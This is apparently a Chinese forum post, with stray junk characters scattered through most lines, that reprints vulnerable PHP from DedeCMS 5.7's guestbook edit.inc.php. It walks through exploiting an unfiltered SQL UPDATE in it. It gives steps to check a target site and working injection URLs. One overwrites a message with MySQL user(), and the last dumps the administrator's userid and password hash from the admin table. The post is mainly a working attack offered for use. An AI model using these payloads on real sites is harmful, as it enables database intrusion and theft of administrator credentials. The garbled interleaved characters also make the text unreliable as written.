影响版本为5.7
( c0 l9 a3 m1 r2 g5 g" n& c9 M
e+ Q. {6 ^& J3 c) K# `3 I漏洞文件edit.inc.php具体代码:5 Z3 g. d' z( V: b Z) ] C3 J
9 q2 I' T2 Q) P5 e
< ?php
9 K Q) n2 B0 _ A
' Q1 Z. `7 a2 s+ e* `& D9 x9 v" Uif(!defined('DEDEINC')) exit('Request Error!'); . T! ?5 |8 _, S( T
' p+ C, w! ?& K4 w8 [8 E
[7 O5 y0 r+ B1 F4 n
1 `$ u) D4 s9 i& Pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
W6 a( L p) K. Q. C+ m) b+ D3 ~% s4 u8 s7 j0 y/ H
else $GUEST_BOOK_POS = "guestbook.php"; 5 {1 f; t" {4 V9 o( W1 o4 H
) q1 o2 P7 j$ i- u% } ~, x2 | u0 L ) h' e1 V9 F: V( L/ P- \, Z4 y
% u, G$ Y; H$ N5 v, O# J
$id = intval($id);
" q2 L: X( r' i4 B9 R7 p1 B: _
) ], @2 @; s- ]4 t( Iif(empty($job)) $job='view';
7 [) Z1 j* S9 B; s8 c7 \; _9 c; r( ~# c$ Q* w
+ t! M4 \5 _6 H0 V
5 M- g2 }. V0 S+ |if($job=='del' && $g_isadmin)
# l: d9 E2 B4 b
6 @' _8 ^; V: u{ & F( \+ B- u" M% B( d# y, e7 k
7 _# L% L9 w4 H6 O3 r5 Q B3 U0 G$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ! K# m! m I' l$ O# ~, m
' u* }0 H5 [8 E1 h
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
. S: @$ d4 @, r6 n5 [+ O( m$ `) e! c2 c+ d5 |
exit(); 6 w1 A7 \2 x. e+ `% u+ z5 m
1 x) {3 }3 ?6 k3 b( D7 o
}
- T5 b: b/ ~- U1 N' D: c7 q8 S
' y9 r$ B1 E7 i) M3 Q3 n' W3 Xelse if($job=='check' && $g_isadmin)
: A3 f! F" ~* S1 a( g1 k5 f' a) Y0 o; |9 b! ~$ |
{
( ?0 z l! U7 C% ^; H& ]
4 I" Y. R( {7 W# f0 V# m9 P3 ~$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); b+ W/ @; S1 N$ J* G
; E/ B! z v) d3 n% s$ E" o
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
- J' ]& f, a L" D1 @& Q
$ H* B4 T! F% q+ V0 {exit(); 7 P3 w, _' v; Z1 o
9 A. S2 D! h" P4 r; ]: w
} 6 C6 ?& ?; H% j8 C3 x
( F# U% k" _& ~2 e) A3 ielse if($job=='editok')
8 M% |1 R4 _- h2 d
- m* G' a0 G# N. h{
1 F) |+ j% d! u; C
! g0 _$ [3 `) F" t- a0 y+ z$remsg = trim($remsg);
/ v8 m7 n; T9 U7 U) U- O! |; s
8 T& `: i/ a7 V' V' L* C6 \+ L9 f7 T yif($remsg!='')
. g. }6 P- e; u1 N" O7 W8 q6 Y1 e2 m$ r4 p k# C( E
{ . X' q: M' S& X
9 z( o$ Y, }, {- d5 w0 ~; Z1 ?( E//管理员回复不过滤HTML By:Errorera blog:errs.cc
4 E0 M4 w, L! |* j" [( R: h
( C! Y: y4 U, ^' t) M6 k0 T& f$ pif($g_isadmin)
" j2 M6 H4 T% u+ X* u" b4 _* Y( x5 G2 F0 T8 z
{ d# s P; x) L$ O
+ Q6 B% r- z q$ F& y$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
* H! k" J4 b( s" l6 G% A$ c
; Y! X; d0 W R* w//$remsg <br /><font color=red>管理员回复:</font> }
. B, o# F9 i4 }8 Q) a) i8 G; l- P9 |
else / P7 I$ S1 m/ ?$ d2 K0 W# V
* A1 m# y2 u: W{ ) I, D) ^! Y& q
. _( m5 G2 z7 C0 k. ]; Y7 A6 b. p& r
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); % u# e/ f8 ]) |1 |& ]/ J% d: o
0 c; n. V! `3 i+ X3 P# c$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 8 U* n; K8 A S& j2 Y
' i, A! G- D8 a$remsg = trimMsg(cn_substrR($remsg, 1024), 1); : a; W3 e& M7 X' ^* r
/ V' S' f3 m# u+ J: ~4 {( b
$msg = $oldmsg.$remsg; 4 s, V; d. Q+ W0 q7 ?
* u! F2 z) _, Y} & x) S% ?& n+ }; g
9 u+ x9 f2 R! \( I3 k9 F7 ]( i6 ]}
2 [5 k! m! ?$ R$ ^& ]$ Y
7 i5 p; U: M0 x/ o( \//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc - h/ z. q1 t: @8 Y, F5 }) V
$ |& o# V: k! R
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
& w3 K1 J/ y' k7 R- ^
0 i8 F) ~. k1 ]! dShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); ' i1 G5 V3 R7 o& ]
' x+ M! c8 j1 @' g( Mexit();
; s& P) y: y+ u$ k" e0 Y. N: q: c) W$ ~: B) ^6 B6 j
}
7 j% g! J2 Y1 n+ Z* ~' a9 X& y* g# D! q6 p9 W. a
//home:www.errs.cc * S; N5 b8 }/ Y
1 m5 H% m2 r7 V* ~& \& p Gif($g_isadmin) 1 d) I/ C* e6 R4 {/ `
' U# w, V% b. n1 V
{ 0 a* ]4 d5 C# A. s
/ H t. x2 ~" s' R) O
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
1 V4 N- \8 s+ u7 j& T( S& [" s$ ~4 F. J O. t
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
1 b. G8 ?! _# C3 a1 V7 j3 k. Q- C
}
" y# w0 \6 ]- F5 {" R$ Q# Z* [! h$ ^* I x% u2 k
else " j# Z X# z! Q. @* [
, X) Z5 J3 ]" w0 T3 T
{ ( b5 ]" I9 R' `
3 P# C' g- w1 ~, B ^& B( _# B$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 5 {( s: c5 p0 A P- S$ a n
7 S' O2 ^3 F# N/ N+ jrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
5 T Z/ O4 |' W$ P: E6 }
7 m2 _ Z2 b2 O2 B$ {# J} 漏洞成功需要条件:' F) z1 A9 `3 O
1. php magic_quotes_gpc=off
7 ?# l* ]% `+ d% |( ~" H2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 ^8 ?/ e3 u% R5 O7 U
) U# v8 k! q4 D! a怎么判断是否存在漏洞:# H) a7 K0 t7 h+ y+ p- J
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
9 I, B- i( o8 |7 Z( _然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID7 b) n9 X" v9 P3 [; K9 Y4 U: A" d
访问:( e- {. E5 I% U
# T7 U/ L# n: k# X) b
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
' {) ~% O6 g' F ]跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% x% n+ Q8 h$ M9 }8 i
L- |1 a/ o8 ~/ J8 k0 ^2 S6 a" y
, [; K# G9 C Q. N& S# g明漏洞无法利用应为他开启了 php magic_quotes_gpc=off6 m8 w0 M5 c7 C
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
3 Z$ r7 W5 }5 b( _那么再次访问
$ [. H1 _. D2 u3 B1 |0 K
7 f0 K* g3 t+ I! _* ~www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
! s; s$ m6 L M7 P! u( Y% k7 {/ P: P# J* J6 ?: T
大概利用就是这样,大家有兴趣的多研究下!!
' d; {* V0 t- z+ v; f
6 L4 |9 f1 J8 V3 b% `7 m) K' h最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
& E. C9 d5 _* { J" h
* C- i& a8 J7 Zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |